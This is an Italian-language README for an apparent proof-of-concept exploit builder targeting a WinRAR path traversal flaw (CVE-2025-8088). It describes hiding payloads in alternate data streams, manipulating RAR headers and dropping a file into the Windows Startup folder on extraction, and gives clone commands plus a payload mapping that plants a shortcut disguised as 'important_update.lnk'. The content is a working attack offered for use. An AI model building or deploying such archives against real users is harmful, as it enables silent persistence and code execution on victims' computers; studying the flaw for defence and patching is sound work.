CVE-2025-8088-WinRAR-builder

Un POC exploit per la vulnerabilità di WinRAR (CVE-2025-8088) che interessa le versioni 7.12 e precedenti

🚀 Come Funziona

1. Crea un archivio RAR incorporato con altri payload
2. Utilizza più flussi ADS 🔄 - Aggiunge flussi di payload con diverse profondità di path traversal
3. Manipola le intestazioni RAR ⚙️ - Modifica la struttura dell'archivio per sfruttare la vulnerabilità di path traversal
4. Rilascia il Payload nella cartella di Avvio 📂 - Tenta di scrivere il payload nella cartella di avvio di Windows quando viene estratto

🛠️ Utilizzo

1. Clona il repository

git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git
cd CVE-2025-8088-WinRAR-builder

2. Prepara i payload

mkdir payloads

• Aggiungi i tuoi payload in quella cartella (exe, dll, lnk, ...)
• Modifica PAYLOAD_MAPPING nello script

# 2. Mappa il payload alla destinazione corrispondente
#   Formato: (nome_file_in_payloads_dir, destinazione_estrazione_target)
PAYLOAD_MAPPING: List[Tuple[str, str]] = [
    # Payload 1
    ("payload.lnk", "..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\important_update.lnk"),

    # Payload 2
    ("image.png", "C:\\Users\\Public\\Downloads\\logo.png"),

    # Payload 3
    # Aggiungi il tuo
]